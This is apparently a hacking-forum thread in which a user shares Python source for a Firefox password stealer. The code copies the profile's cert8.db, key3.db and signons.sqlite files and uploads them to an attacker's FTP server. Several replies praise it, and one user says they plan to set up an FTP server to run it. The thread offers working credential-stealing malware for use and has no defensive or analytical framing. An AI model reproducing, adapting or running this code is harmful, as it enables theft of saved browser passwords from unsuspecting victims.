[Zealotry]

Hello guys!

I found this stealer written in Python. While it doesn't decrypt the passwords, it's still some pretty nice code.

Credits to the coder.

Spoiler: Code in Python

Code:

import ftplib
import getpass
import os

#get the default user profile
dirs = os.listdir("C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/")

#directorys of the needed files
cert8 = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/cert8.db"
key03 = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/key3.db"
signons = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/signons.sqlite"

#check if the path of the files exist
if os.path.exists(cert8):
    pass
else:
    exit()
if os.path.exists(key03):
    pass
else:
    exit()
if os.path.exists(signons):
    pass
else:
    exit()


#set ftp + server
ftp = ftplib.FTP("server")
#login to your ftp
ftp.login("login", "password")
#open these file with readbinary mode
cert = open(cert8, "rb")
key = open(key03, "rb")
sig = open(signons, "rb")

#try to upload this files to you Ftp server
try:
    ftp.storbinary('STOR {0}'.format("/ff/cert8.db"), cert)
    ftp.storbinary('STOR {0}'.format("/ff/key3.db"), key)
    ftp.storbinary('STOR {0}'.format("/ff/signons.sqlite"), sig)
except:
    pass
#close ftp connection
ftp.close()
#close files
cert.close()
key.close()
sig.close()

[Savsal14]

I don't know python but this is very helpful also so that you can understand how you can code a firefox stealer in any language! Thanks Z!

[Falcon]

Thanks for this Z, I'll probably learn this.

[+Respawn]

Someday ill learn python haha for now

Great share Z!

[Original]

Very nice, thanks for posting the source.

[AnonFreeworld]

Wow nice code bro! I think imma setup an ftp server and do this o-O